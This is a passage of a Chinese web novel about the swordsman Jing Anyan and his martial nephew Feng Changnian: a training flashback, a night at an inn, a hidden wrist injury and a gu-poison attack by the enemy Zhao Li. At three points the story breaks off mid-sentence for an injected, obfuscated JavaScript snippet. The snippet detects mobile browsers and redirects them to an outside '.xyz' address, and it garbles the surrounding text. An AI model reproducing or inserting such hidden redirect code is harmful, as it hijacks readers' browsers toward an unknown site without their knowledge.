他给封珩算:“我姐姐靖宓是当今圣上的结发妻子,比我大了九岁,我大师兄、你师父岳玄林是当今圣上的发小兼侍读,他们是一辈儿人吧,那我就也是这辈分的人,岳师兄比我姐姐还大四岁,里外里这不就跟我差出十三岁了。” 封珩被他绕得头晕:“……好吧好吧,看起来有个年龄差得大的兄姐也能跟着沾点儿便宜。” “这便宜给你,你要不要啊?”靖安言笑得眉眼弯弯,揪着院中的树杈三两下就腾挪上去了,“平白无故显得我好像多爱摆谱似的呢。” 他飘逸的衣摆和袖角随风舞动,比天上的云彩还飘逸,伸手有一搭没一搭地揪果子,看都不看就往下扔,没办法,封珩只能兜着衣袍四处乱接。 “不过也好,玄字门里我们三个,就我还闲着,大师兄忙着你的三个师兄,二师姐忙着你的小师妹,正好把你给我带,也算是解了我当日赠剑给你的缘分。” 靖安言抓了一只果子在手里,想了想,用手抹了抹表皮吃掉了:“那墨痕剑你用着好用不?” “好用好用。”封珩忙除了一头汗,“……别丢了别丢了,小师叔,我要被砸晕了。” “这叫训练你的灵敏力和灵活性,浪费我一番苦心呢。”靖安言变本加厉,嗖嗖嗖一口气扔了三个下去,“接着,掉几个就用几个当靶子,到时候你就练到多久。” 封珩一个头八个大:“小师叔!师祖当年也这么锻炼你的吗?” “我师父?那倒没有,这是我独创的靖氏练剑方法,迄今为止只你一个人学过,还不感恩戴德。”靖安言晃腿,“我师父当时把我散养,我能长成这样全是自己的功劳。” 封珩把果子堆到桌上,怨念地想你还挺骄傲,但嘴上还是实诚地问:“散养?进玄门还能散养呢?” “能啊,你不就半散不散的。” “我……”封珩那一句反驳就在嘴边,想到了什么一般又气馁下去,“……我能和你一样吗?” 他是京中教养的小侯爷,名头好听,可谁不知道说白了他就是个质子,西域边境在封氏手里传了三代,宋启迎担心西域不再姓宋,于是使了这么个办法拴住封铭,大棒与甜枣兼具,才能让兵权牢牢地抓在他手心里。 因此不被管束,甚至往纨绔子弟的方面培养,封珩的准备都是做好了的,他父亲只有他一个孩子,另外封氏一脉只有他的叔叔封钧,那是个真正的浪荡子,或许等把他养废了,封钧也不堪大任,这时宋启迎就可以把兵权民心再度收回来。 他跑神的同时有些闷闷不乐,靖安言眼神多尖,立刻将一只果子掷了过去,正中红心,封珩惨叫一声,抱着头蹲下了。 “你怎么了?皇帝的小舅子陪你练剑,还把他最好的剑送给你,谁敢轻视你?我带头把他削一顿。”靖安言挑挑眉,“知道你为什么年龄不大跟个小老头似的一身心事吗?因为你想太多。知道为什么我比你开心得多吗?因为……” “因为你心大。” 封珩嘀咕了一句,靖安言看见了他嘴唇动,但什么都没听见。 “小兔崽子又嘀咕什么坏话呢。”靖安言甩了甩马尾,“天下不如意事多了,一样一样都塞进心里,你还活不活了?” 封珩怨念地抓起一只果子擦了擦,塞进嘴里咬了一口。 这是拒绝交流了,靖安言暗暗扶额。 封珩自留在长安后,没哭也没闹,他爹出发离京的那天也只是在城墙上站了站,直到西军都督府的军队浩浩荡荡的离开了长安看不见影子,他才依依不舍地下来。 靖安言当时连拥抱都准备好了,这小子愣是一声没吭,回去该读书读书,该习武习武。 心事太重是病,得治。 靖安言蹦下来,三步并两步滑过去,从他腰间一把抽出墨痕,在手上挽了两圈剑花:“我当年也是自己来长安的啊。” 封珩的腮帮子不动了,眼睛也瞪了起来。 这样子可太可爱了,靖安言顺手捏了捏:“真的,不骗你。我爹之前也不是什么都察院左副都御史,他是荆平承宣布政使司三司之一的提刑按察使。” 荆平这个地方封珩知道,他从小到大跟着他爹认大魏版图,把角角落落都记得清清楚楚。 所以他记得荆平,大魏南部偏西,与南疆接壤,再往外就是那座成为大魏与南疆边境线的神寂岭。边防严峻,故而荆平的布政三司都是重中之重,丝毫怠慢不得。 “我从生下来就被抱走了,没见过母亲,甚至在我七岁之前没见过父亲与姐姐,人家孩子都找爹爹娘亲的时候,我只有个师父。” 左清明是靖深的故交,对靖安言也算是上心,但这上心也是对比出来的,因为左清明他这个人本身就比较随性,对什么其实都不太上心,因此偶尔能问一句已经算是很到位了。 岳玄林和廖玄静都没这待遇。 “哎,你知道这老头儿,我问他我爹爹娘亲在哪里的时候,他怎么说吗?” 封珩兴趣已经完全被勾起来了,懵懂地摇了摇头。 “他说我是道边捡来的,让我去大街上蹲着,写上生辰八字,说不定能撞到亲爹亲娘。”靖安言夸张地双手一摊,“这老头儿,有这么骗小孩儿的吗?要不是七岁那年我姐姐嫁给当今圣上,我能被他骗一辈子。” “所以,你真的去蹲着了?”封珩眼睛一眨一眨的。 靖安言诡异地沉默了一下:“这不重要,重要的是……” “哦,看来是真的去蹲着了。” “我都说了这不重要!” “所以你天天都去吗?” “这不重要!” “看来去了有一阵子……” “封!长!忆!”靖安言皮笑肉不笑地瞪着他,把墨痕剑往他怀里一塞,“你皮痒痒了是不是?!” 封珩抱着剑还没来得及说什么,迎面一颗果子飞来,吓得他赶紧挥剑抵挡。 可挡下一只,立刻有第二只,天女散花似的飞来,另一头的靖安言面色不虞,跟耍猴似的耍他玩儿。 “差不多了吧!”一柱香的时间都过了,封珩气喘吁吁,腿都软了,惊恐地看着靖安言手里转着三个果子,只好讨饶,“错了错了小师叔,真的错了,我不提了。” “我再借你十个胆子,你试试。”靖安言终于大发慈悲饶了他,“看你累的样子,来吧,跟我走。” 封珩嗓子都快劈了:“还干什么啊!?” “带你买衣服,都被果子砸脏了。”靖安言是个爱干净的人,露出一副嫌弃的表情,“快点儿啊,我跟你说过了这村没这店了,小师叔自己掏腰包给你买,下次你求我我都不会给你买的。” 那个年岁的少年都喜欢漂亮衣服,闻言当即气也不虚了、腿也不抖了,封珩高高兴兴地把墨痕剑擦干净抱在怀里,跟着靖安言脚前脚后地出了门。 时至今日封珩都能想起,那天晚霞特别漂亮,靖安言揉着后颈,百无聊赖地在前面逛,宽松的衣袖和一摆一摆的马尾都成了晚霞的点缀,他跟着走了一会儿,猛然发现自己好像那些不开心都烟消云散了。 不是因为不再思念家乡,不是因为不再憋闷被圈在长安,而是因为他看到了,这种不被自己预想过的日子也不代表是不好。 每个人或许都对自己的路途有了一定的规划,但当意外来临时,不可避免地要做出妥协,而靖安言让他看到了,这种人生也可以过得有滋有味。 他人对自己的放弃不算什么,自己对自己的放弃才是真正的深渊。 既来之则安之,封珩快走两步,与靖安言并肩而行。 就算在长安,他也可以把自己的人生路重新规划的很好。 少年志得意满,正打算今晚回屋后重新捋一下自己的成长方向,比如跟着小师叔好好练武,比如早起去多和师父讨论讨论当今局势,再比如多和师兄弟们培养培养感情。 他从小家中只有自己,孤单的很,而门中弟子人都很好,大师兄温柔、二师兄聪慧、三师兄活泼、小师妹伶俐…… 仿佛看到了生机勃勃的未来画卷在他眼前展开,封珩眼中神采奕奕。 直到靖安言拎出来一件衣服,他刚刚活泛起来的人生出现了一丝崩裂。 “……小师叔?” 他小师叔笑得很诡异:“试试。” “所以你还是记得当时第一次见我把我认成姑娘!!!”封珩瞪着这件粉色的料子,与一旁绘声绘色描绘它多么适合小姑娘的店主面面相觑,浑身上下都写满了拒绝,“我不要这个颜色!” “哎,这就是你狭隘了,你也能穿粉色啊,快点儿来试试。”靖安言不由分说地捞他过去,“我家小长忆唇红齿白的,粉的怎么了,粉的多好看呢。” 封珩觉得自己还能再挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449493|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎一下:“我……” “小师叔第一次给你买料子哎!”靖安言将了他一军,“快点儿快点儿试试看,这样,你今天买了,做了衣服穿上,小师叔答应你一件事,什么事都行,只要我能办得到,好不好?” “你到底是有什么癖好……” 这句疑问跨越了十三年的时间,从封长念口中说出时还有些恍惚。 靖安言拎着一件衣服正给他比,闻言抬眸:“什么?” 封长念已经不再是不比他高的少年人了,甚至说话时靖安言还要微微抬头才能看得清那眼睛里的无奈情绪。 “我说你这都什么癖好,从小给我买衣服就喜欢买粉的,这么多年了,居然还买粉的。”封长念捏了捏眼前粉色的南疆衣袍,唇角抽了抽,“……我长得还像个小姑娘吗?” 那说像是有点惊悚了。 如今的封长念五官俊秀、气质沉稳,少时有些过分精致的眉眼长开了,变成了一种温文尔雅的书卷气。 但靖安言显然不会顺着他的话说:“但是你穿粉色还是很好看。” 封长念:“……” 他认了命地跟着靖安言钻进换衣服的地方,自己先把原来的那套衣服扒了,只穿了一层中衣,等着靖安言拆那繁琐的银扣子。 “所以,这次还算数吗?” 换衣间不大,两个都是手长腿长的男人,实在是有些施展不开,靖安言正皱着眉给他整理后领,指腹在他后颈轻轻划过。 封长念下意识轻颤了一下。 “什么算数不算数?”靖安言警惕性很高,“我答应你什么了?” “你原来说,我穿一次粉的,你就答应我一件事。”封长念看着绕到面前的人,“还算数吗?” 靖安言拢着他的领子没有立刻回答。 肩膀还是作痛,否则封长念那蠢蠢欲动的手指真的很想碰碰靖安言的腰——南疆衣服束腰窄袖,从前靖安言最不喜欢拘束,连束腕都从来不带,来南疆后倒是都改了,就显得那腰身愈发纤细。 手指里腰封还有三寸远的时候,靖安言给他穿好衣服了,手上发力一揪他的领口,将人往前拽得一踉跄。 “?!” “你先说什么事?”靖安言眼睛一眯,笑得又邪又灵,“我考虑一下。” 封长念愣了愣,到嘴边的话明显憋了回去。 用誓言是捆不住靖安言的,这件事情两个人心照不宣,靖安言可以答应一天两天,但真的时机成熟,伺机反悔对他来说也很是家常便饭,所以说了和白说一样。 于是那些诸如“让我跟着你”“在解毒之前你不要跑”“你再也不要跟我分开”之流,太过于虚无缥缈,抓靖安言这种人还是需要玩硬的。 但不说这些,又没什么别的了,靖安言挑挑眉,看见他欲言又止的样子,心下也明白了几分,轻佻地吹了声口哨,心情好了不少。 “那你慢慢想,想好了记得找我兑啊。”靖安言一挑帘子,冲他促狭地眨了眨眼睛,“限时十二个时辰,过期不候。” 从成衣店出来的时候夷月明显发现两个人的心情不知怎么掉了个个儿。 原本刚上路的时候靖安言总有些气不顺的模样,反倒是封长念坦坦荡荡,一副你奈我何的样子,如今又反过来了。 吵架了?不像啊。刚刚不还在一个小空间里不知道嘀嘀咕咕什么呢吗? 她都没听见。 靖安言那眼里的得意简直要溢出来了,夷月看不下去戳了他一下:“收着点儿笑,小心风大扇了舌头。” “心情好还不让人笑了。”靖安言摆弄他那只笛子,都快转出残影来了,“告诉你一条人生道理啊,人生得意须尽欢,莫使金樽空对月,知道不?” 夷月觑了一眼一旁面色微冷的封长念,轻声反驳:“你还是小心别笑过头闪了腰遭报应吧。” 她本就是痛快痛快嘴,却没想到报应真的来得如此之快。 天黑入夜,三个人在客栈前订房间的时候,封长念唇角突然勾起了一丝异常鲜活的弧度,鲜活到为了订三间房而掏银子的靖安言手都一抖。 不对劲儿。 常年刀锋舔血的靖安言脖子后察觉到了一丝凉意。 果然,两根修长的手指探来,将柜台上的一些银子往回拨了拨。 靖安言当即要推走,被封长念一把盖住了手掌。 “小师叔,我知道我要什么了。”封长念压着他的五指,力道不重,却根本拨不开,“现在到你兑现的时候了。” “今晚咱们两个一间房吧。” 11.护腕 直到封长念放好了热水,靖安言还在靠窗透气。 这么多年了,靖安言几乎从来没有被人按着脖子点头,今天算是让封长念开了先河了。 罪魁祸首没有自觉,一甩高马尾在他面前叉腰:“水放好了,洗个澡?” 靖安言微微眯着眼睛:“封珩,我小看你了。” 封长念唇角含着的笑意不减:“小师叔抬爱。” 倒真像是在夸自己一样。 靖安言无语地抽身而过,事情都到这地步了,不睡白不睡,又不是花他的钱。 热水蒸汽腾腾,靖安言除去外袍往里一泡,感觉水声都是带着金钱哗啦啦的响声。 有钱了腰杆子是硬啊。 靖安言牙疼似的想。 方才在下面,店小二当然不乐意少卖一间房,看着那白花花的银子眼珠子都快掉出来了,忙不迭地说自己家空房还有很多,不必要非要挤在一起。 封长念一个眼神儿都没给,直接从腰间抽出一包足两的银子,压在那一把碎银上。 “你家最好的厢房两间,安静的,没人打扰的。去吧。” 小二当时就跟被捏住嗓子的大鹅一样:“好嘞,三位客官里面请!” 靖安言:“……” 夷月:“……” 靖安言:“你倒准备得挺齐全?” “神寂岭里只害命不谋财,给我留了一条退路。”封长念把碎银一卷,塞回靖安言的怀里,“就两间房,多了我也付不起了,我看小师叔也没带够,阿月是个小姑娘,总不至于跟我们挤挤吧。” 其实解决方法还有很多,靖安言盯着封长念那股无赖的劲儿,却突然什么话都说不出来了。 这小子怎么长成这样性格了? 靖安言撩着热水,百思不得其解。 原来封长念虽然也是个懂得变通的人,但可没这么滑头,面皮薄的很,说两句话就红了脸……好吧现在也容易红,但确实没这么滑头啊。 所以他非要和我住一间,莫非又是怕我跑了? 靖安言一个心思八百道弯转过去,直到封长念出言提醒他水快凉了,他才意识到这件事,忙不迭地爬出来。 刚起身,一只手捏着干净的布巾就递了进来,封长念背对屏风,嗓音平淡,谦和有礼:“擦擦吧,虽是夏天,也不能太贪凉。” 靖安言接过来,忍了忍没忍住:“……小长忆。” 封长念“嗯”了一句。 “……在你眼里,我是十年没长吗?”靖安言真心实意问,“我怎么觉得你在照顾小孩儿?” 封长念:“……” “我只是觉得,十年前被小师叔照拂良多,如今我也大了,能报偿一分是一分,”封长念终于回过头来看他,“当时,你不是也总这么提醒我吗?” 是倒是……但总觉得不大一样。 靖安言刮刮鼻子,偏生说不出来哪里不一样,但他自己觉得,当年自己的提醒里只是一句平常叮嘱,没有这么的……这么的…… 这么的什么呢? 封长念微微一笑,也不期待着他能有什么回复,自己钻到屏风后头去收拾了。 他那一身粉太晃眼,衬得如玉面庞愈发温润,靖安言看着看着又觉得自己给自己找了个麻烦,偏生挑了个这么衬封长念的颜色,引得自己不知不觉就会看过去。 “你在玄门也是这么关爱同门的?”靖安言靠在屏风边,看着他熟练地挽袖子,露出流畅有力的小臂线条,“你是老四,下面就一个小师妹,你上头三个师兄怎么回事儿啊?” “虽然我行四,但我年纪可不小。再者而言,倒也没有我总照顾他们,大家都是相互照料,这些杂活儿应该的。” 封长念手微微一顿,突然意识到这是靖安言第一次问起玄门的事儿,不免回过头去多看了他两眼。 靖安言被瞧得莫名其妙:“怎么?” “没事。”封长念转过头去,思忖了下,还是缓缓道,“师父本是先帝侍读,先帝驾崩,他人瞧着也憔悴了不少,如今玄门交给我,他也空领了个太师衔,不大管事了;玄静师叔倒是早早抽身官场,在长安城开了个医药铺子,素有‘官家有辞民间有宁’之称。” 靖安言静静地听着,长长的眼睫垂落,不知在想些什么。 封长念顿了顿:“其实我来这里之前,师父有话让我给你带一句……” “我不想听。”靖安言蓦地抬眼,稍显冷硬地打断了他,“……我又不关心,十年前我走的时候就说过了,桥归桥路归路,以后见面只是陌生人,如果愿意,仇人也可以。” 封长念攥着桶的手用了些力道:“但你没有把我当陌生人。” “你是我一手带出来的,总该有些特殊吧。” 靖安言一面说,一面伸出手要接一把水桶。 封长念的目光倏然定住了。 顺着他的目光看下去,正落在靖安言一同搭在桶边的那只右手上。外衣袖口松散,这么一动露出他的手腕,那只银制的蝴蝶护腕居然连洗澡都没有摘下。 封长念目光微微一漾:“小师叔……” “不用帮忙啊。”靖安言松了手,袖口落下来再度遮掉了那只欲飞的蝴蝶,“那你忙着,我先睡了,外头留给你哈。” 靖安言抽身有些匆忙,险些转头撞上屏风。 他匆忙扶了一把,又急急奔着床去,不必回头,他都能感受到身后那道灼热的视线。 不行,还是得跑。 屋子很大,靖安言把自己塞进被窝的时候已经看不到封长念的视线,他下意识摸着自己的右手手腕,还能感受到随着心跳加速而砰砰乱撞的脉搏。 再这样下去,以封珩的敏锐度,绝对要嗅出点儿不寻常来。 只是这小子眼下盯得确实太紧了,几乎算得上是寸步不离,想要趁他不备跑掉实在太难了。 靖安言摸着蝴蝶的翅膀,冰冷的触感很快就被床褥的温暖倾覆,他下意识伸了个懒腰,四肢百骸都放松了下来。 ……有钱真好,这最好的房间是不一样。 靖安言微微叹了口气,把自己往被子里又埋了埋,舒适的触感实在太催人入眠,不多时,那些主意就变成了一团浆糊,拽着他往睡梦里堕去。 于是,等到封长念收拾停当过来时,靖安言已经睡着了。 自然也就不知道他那有钱又有主意的小师侄定定地站在床边良久,看着靖安言露在外头的半张侧脸发呆。 靖安言的睡姿倒是十年如一日,喜欢侧卧,只是原来不曾如现在一般微微弓着腰背,将那带着银蝶的右手轻轻抵在心口,像是珍之重之,不敢让它受到伤害。 封长念心下疑窦丛生。 靖安言原来从不带束腕,其实习剑最好带一个作为支撑保护,当时他小师叔转着墨痕,直说那样太束缚,会影响他挥剑的速度,而他那一身剑法真的如他所言那般,灵动飘逸、轻快敏捷。 来到南疆,哪怕这边衣装服饰的确不如大魏那般宽松,却也没道理在洗澡沐浴时还要带着护腕。 而且只有这一只。 到底是为什么,这只护腕下掩藏了什么他不知道的过往,让靖安言费尽心思也要瞒,露出马脚也要跑。 唉。 他认命般躺下。 是有些特殊,但只是有些,这些有些不足以让靖安言全然信任,也不足以让靖安言敞开心怀。 南疆夏季多雨,封长念吹灭蜡烛没过多久,外面就淅淅沥沥地下起了雨来。 这种环境明明最好睡,但封长念反而越听越精神,身边的靖安言睡觉时安静无声,整个人陷在被窝里,安安静静的,顾盼神飞的一双眼睛阖着,身上的那种邪劲儿被敛去,反倒让人觉得有些乖,让人想伸手摸一摸。 封长念轻轻侧过身,克制的眼神下终于露出了几分露骨的情绪表达。 如果这时候的靖安言睁开眼睛,那么他一定能够看到封长念那隐忍又克制的爱意终于汹涌而出。 这许多年,封长念一直在学着怎样克己复礼。长安为质,他必须将他的野心和抱负藏好;喜欢上小师叔,他不敢告诉同门和师长,只能藏在心间,唯恐被说此情妄佞、胆大包天。 他更怕靖安言会厌他、弃他、更逃得无影无踪。 所以只有在这个时候,他才能将情绪稍稍放松,剖开那个被重重捆缚的、本属于西域小侯爷的一份占有欲和痴狂。 万千情绪落在指尖,他试探着伸出手,又在逼近靖安言脸侧的时候微微停住,落在被单上,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466093|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点凑近了那只右手。 银器盖住了靖安言的腕骨,圈着那一层皮肤,封长念小心翼翼地摸索了一周,也没发现怎么才能将它拆开。 正当他想去碰碰那只蝴蝶时,一道声音蓦地划破了寂静的房间。 “我劝你就此打住。”靖安言眼睛没有睁开,声音还带着些刚睡醒的困顿,“封珩,不要解开。” 他醒了。 封长念的手指一缩,一时间僵住了没敢动,那些爱意再度如潮汐一般褪去,只留下一腔仓皇和悲怆。 靖安言睁开眼。 他其实在封长念伸手的那一刻就醒了。 封长念以为他还是那个靖氏小少爷、皇帝的小舅子,睡觉时睡得很沉,常常一觉无梦到天亮。 可他如今是南疆王的杀手,杀手最忌讳有人近身,任何指向自己的风吹草动都会立刻警醒,而且他很少不再无梦,梦里总是神魂颠倒,不是滂沱大火,就是无边雨幕。 靖安言方才就梦到了那场火,嗓子还有些干,但神思已经清楚了。 封长念喉结滚了滚:“小师叔,我……” “大半夜不睡觉,研究我的手这么入迷。”靖安言平铺直叙,“你不是礼部尚书吗?什么时候干了三法司查案的活?” 封长念无言以对。 他不擅长撒谎,尤其是对着靖安言撒谎,此时此刻隐瞒已无意义,只好实话实说。 “小师叔,你从来都不带护腕的。”封长念坐起来,点燃一旁的蜡烛,烛光勾勒出他有几分寂寥的侧影,看上去有些可怜,“……为什么连洗澡都要带?” “脱了麻烦。”靖安言换成仰面的躺姿,有些出神,“你自己也说,人都是会变的。我当时觉得不好的不喜欢的,现在就未必觉得不好不喜欢。” 封长念转过脸,似乎是不信他的说辞:“给我看看,好么?” “没什么好看的。” 封长念这次不问了,直接上手去抓他。 靖安言蓦地一躲,本就宣软的床榻发出不堪重负的一声嘎吱,上头封长念猛地扑上去,靖安言弯腰一滚,翻身下床就要跑。 他急得连鞋都没穿,略略提高了音量:“封珩!你真当我不敢揍你是不是?” 封长念眼眶微红,只是重复:“给我看看。” “我都说了没什么可看的。” “那有什么不能看?!” 封长念猛地将床头搁着的墨痕剑连剑带鞘扔过去,靖安言当头被扔,大为光火,一把接住长剑,怒吼道:“封珩!这把剑还是我给你的!你现在用它来砸我?!” 封长念却突然静止不动了。 靖安言眼神微微一变,只见封长念像是被烫到一般,猛烈地颤抖了起来。 “你……” “我?”靖安言模糊地想,我怎么了? “你右手伤了,是不是。”封长念长眉蹙起,“你带护腕,是为了挡伤口,是不是?” 靖安言一怔,蓦地反应过来,他方才情急之下抓剑,是用的左手。 这小子也忒聪明了!!! 练剑之人习惯只会是右手抓剑,因为右手是惯用手,除了极少数左利手之人外,鲜少人会在面对危险的时刻左手去格挡。 尤其还是靖安言这种曾经的大魏第一剑客。 “给我看看。” “封珩。” “让我看看伤成什么样了。” “封长忆。” “到底……伤成什么样了?” 封长念一步步走到他面前,几乎不敢置信,剑客最宝贝的就是自己持剑的那只手,更何况靖安言这种嗜剑如命的人。 “给我看看,就看看,我什么都不问,不行吗?” 靖安言喉头一堵,声音都缓和了下来:“小长忆……” “噗——” 一口鲜血喷涌而出,靖安言大惊失色,还管什么剑不剑,猛地冲上去接住了人。 “你怎么……?!” 他听到了一阵铃声。 那种铃铛摇响的清脆碰撞声,叮铃铃,叮铃铃,在夜幕之下极其诡异,但通过节奏和音韵,他知道那是什么了。 催动蛊毒。 有人在催动封长念体内本就没解开的毒!! 12.困局 夷月也被这铃声惊醒了。 她迅速地穿衣下床,防止打草惊蛇不敢点灯,轻手轻脚地摸过阿银,开了道缝摸了出去。 客栈一共五层,趴在栏杆边能看到一楼的景象,守夜的账房大气都不敢出,缩在角落里哆哆嗦嗦地盯着那只金铃,捏着它的那个人看上去倒十分淡定,摇得漫不经心的。 是召砾。 大半夜不睡觉,他怎么跟到这儿来了?!夷月顿在栏杆边,大气都不敢出,她现在不知道那账房有没有交代他们的行踪,也不知圣酋摸到了多少消息,只能以不变应万变。 想毕,她将阿银在手腕上盘好,身轻如燕地掠到阴影之中,反手推开了靖安言和封长念那屋的门。 “干爹……嘶——!!!!” 夷月反应极快,一道冷光闪过之时她就利落地避开了,还不忘顺手把门闩上,冷汗和后怕瞬间爬满了她的脊背,再定睛去看,封长念死死按着心口,手中墨痕剑毫无章法地挥动着。 她压低嗓音质问:“这怎么回事儿?!” 靖安言已经灭了灯,外面大雨瓢泼,整个房间昏暗得有些怕人,更显封长念出招的刁钻可怕。 靖安言死死盯着封长念的走位:“神寂岭的蛊。” “不是和圣酋没关系吗?” “他不会自己查是怎么用的?”靖安言将夷月拦在身后,“听着阿月,当务之急先把剑抢下来,我牵制他,你去夺剑,知不知道?” 夷月点点头:“……封哥还有理智吗?” “有。”这次说话的是封长念本人,墨痕剑反射出微弱的光,映照出他额上豆大的汗珠,他持剑的手都在抖,似乎在和什么东西角力,“……但我控制不了我的手,阿月,我会尽力按捺住,实在不行,必要时,砍掉我的手。” 此话一出,不光是夷月的眼睛瞪大了,就连靖安言都猛地蹙紧了眉。 “不必顾惜。”封长念咬紧牙关,如此吃力的情况下,触及那两道担忧的视线,居然还露出个安抚似的笑,“……冲我来。” “靖……” 靖安言直接从她腰间抽走了那把小短匕:“瞅准时机抢下来。” 话音未落,靖安言闪身而出,短匕划过一道流光,在逼近封长念身的时候果不其然与墨痕剑相撞,靖安言毫不恋战,反身就撤,又被封长念几步追上。 刀剑相接,铁器擦出森然火花,封长念万万不想用力下压剑锋,只得嘶哑道:“小师叔,动手。” 短匕在长剑攻势下不断发抖,靖安言抬起左手,猛地攥住了自己的右手手腕,强迫着一同顶住那可怕的力道。 “学得挺好。”靖安言唇角微微一勾,“只可惜,毕竟是我教的你。” 只一个眨眼,靖安言猛地后撤,快到根本来不及反应,他整个人像鹞子一样拔地翻起,世界骤然颠倒,而就着这种头下脚上的姿势,他猛地伸出手,一把拉住了封长念的手臂。 “阿月——!” 封长念被他的力道拉得向后仰去,墨痕剑上扬至半空,夷月足下发力,猛地扑了过去,一掌推在封长念的手腕上,长剑脱手而出,阿银如一支离弦之箭,紧紧缠裹住了那还有余温的剑柄,往旁边一甩,登时插入衣柜三分。 长剑被夺,双方作战力量的差距骤然拉小,靖安言落地翻身,胳膊一锁缠住封长念的肩膀,不知从哪里摸出来一根绳子,将他的手臂绑紧一拽,直接把另一头拴在床头。 几个人惊魂未定,气喘吁吁,封长念看着自己不听话的手,唯恐发出些别的意外:“这样下去不行……” 蛊毒已发,这样肯定坚持不到见南疆王的那一刻,而且这一路上谁都会有危险。 夷月跑到窗边往下一望,摇头道:“下面都是圣酋的人,把这里围死了。” 靖安言脑子里嗡嗡作响。 还没想出下一步,只听魔鬼一般的声音在楼梯上响起。 “靖安言,我知道你在这里。”召砾一步一步走上来,衬着大雨的穿林打叶声,像是什么噩梦在寸寸逼近,“我还知道,你带着大魏人,一起住进了这里。” “他体内蛊毒已被催动,决计撑不到见南疆王的那一刻,你或许能用别的办法遏制他的动作,但那又如何,治标不治本,现在蛊毒只能做用于他的四肢,等到进入肺腑甚至是他的头,你想亲眼看见他变成疯子吗?” “蛊毒发作之快,我不认为你能在他变成疯子之前见到南疆王。” 封长念额发凌乱,嘴唇惨白,闻言和靖安言无声地对视一眼,眼中满是复杂的情绪。 “给你个真心实意的建议,我只想跟他说两句话,你知道的,蛊毒只能由下蛊之人彻底解除,但既然我能催动一部分蛊毒的发作,那么相应的,我还是有把握将这一部分蛊毒再度压制回去的。” “我的需求也非常简单,只和我们大魏来使说两句话,不会耽误你们后续面见南疆王。” 五楼房间众多,召砾站在楼梯口,看着十多间相同的门,微微勾起了唇角。 猎物会在哪扇门后呢?我有些迫不及待了。 “靖安言,我的耐心不多,再不出来,我可要再度摇铃了,那可是会加速蛊毒蔓延的。”召砾慢悠悠地掏出金铃,“三、二……” “啪、啪、啪”。 鼓掌声从楼下传来,召砾一愣,转头望去,只见浑身湿淋淋的靖安言正倚着三楼栏杆往上瞧,眼神中有几分雀跃和兴奋。 “圣酋大人好本事,连我在哪里都知道的这么清楚。”雨水顺着他的发梢淌落,虽是夏雨,但夜晚难免寒凉,他整张脸都被冻得有些白,唯有嘴唇红艳艳的,“只是不知——更深露重的,外面还下着雨,圣酋大人在这儿又摇铃铛又说话的,是在唱戏吗?” 召砾不可置信地向下望了望,又环顾了一圈这五层的房间,全部安安静静,就没有一丝一毫的声响。 靖安言还在继续:“你要不再说一遍?这地方隔音效果不错,我没听清你说什么。” 召砾一掌拍出,整座楼的栏杆都在猛烈地摇晃。 方才楼下那管账的已然交代清楚,说的确见过画像上的那个男子,带着一个小姑娘和另一个比他身量还高些的男人来住店,住的就是五层。 谁知道他居然会从三楼冒出来。 不过召砾也不打算与他纠缠,谁都知道靖安言那一张嘴活的能说成死的,死的也能说成活的,听他说话实在自讨苦吃,还不如直接自己动手翻。 召砾一打响指,靖安言目光一错,只见一队亲卫手持短刀鱼贯而入,直奔五楼而来。 “靖安言,虽然没闹到明面上,但我知道,我的人有很多都死在你手里。”召砾的语气阴冷,“今天我一定要带走那个大魏人,有本事,你就当着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472473|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的面,把我的人都杀了。” 靖安言笑容一滞,目光渐渐幽冷下来。 他的右手在腰侧一摸,赫然是那根吹奏间便可夺人性命的笛子! 要撕破脸吗? 这件事不止是靖安言也计算胜率,就连召砾也在想。 南疆人要么炼兽蛊,要么炼蛊器,前者比后者会简单些,可没想到靖安言这个半路出家的,居然也会炼蛊器。 这根笛子就连召砾都有所耳闻,传说中,只要有人在神寂岭听到这根笛子吹奏的曲调,那么这个人一定见不到明日神寂岭外头的太阳。 召砾从来都没与靖安言正面交过手,哪怕他人多,却又不敢轻易情敌,再者而言,他也不想让封长念疯掉——一个大魏的疯子对他而言毫无意义。 蓦地,五楼传来惨叫声。 召砾和靖安言俱是一怔,那根笛子甚至还没有凑到唇边,双方都不知道发生了什么事,召砾连忙收回目光,匆匆几步跑上来,只见他的七八个亲卫倒在血泊间,抽搐着不肯咽气。 召砾怒道:“怎么回事儿?!” 亲眼目睹冲在前头几个的死状,剩下的那些亲卫腿都有些软:“不、不知道啊大人,刚刚他们冲在前头,刚……刚要开门,突然就死了。” 怎么可能会有这么邪门儿的事情?! 召砾不肯相信,拎出来一个便往前一扔。 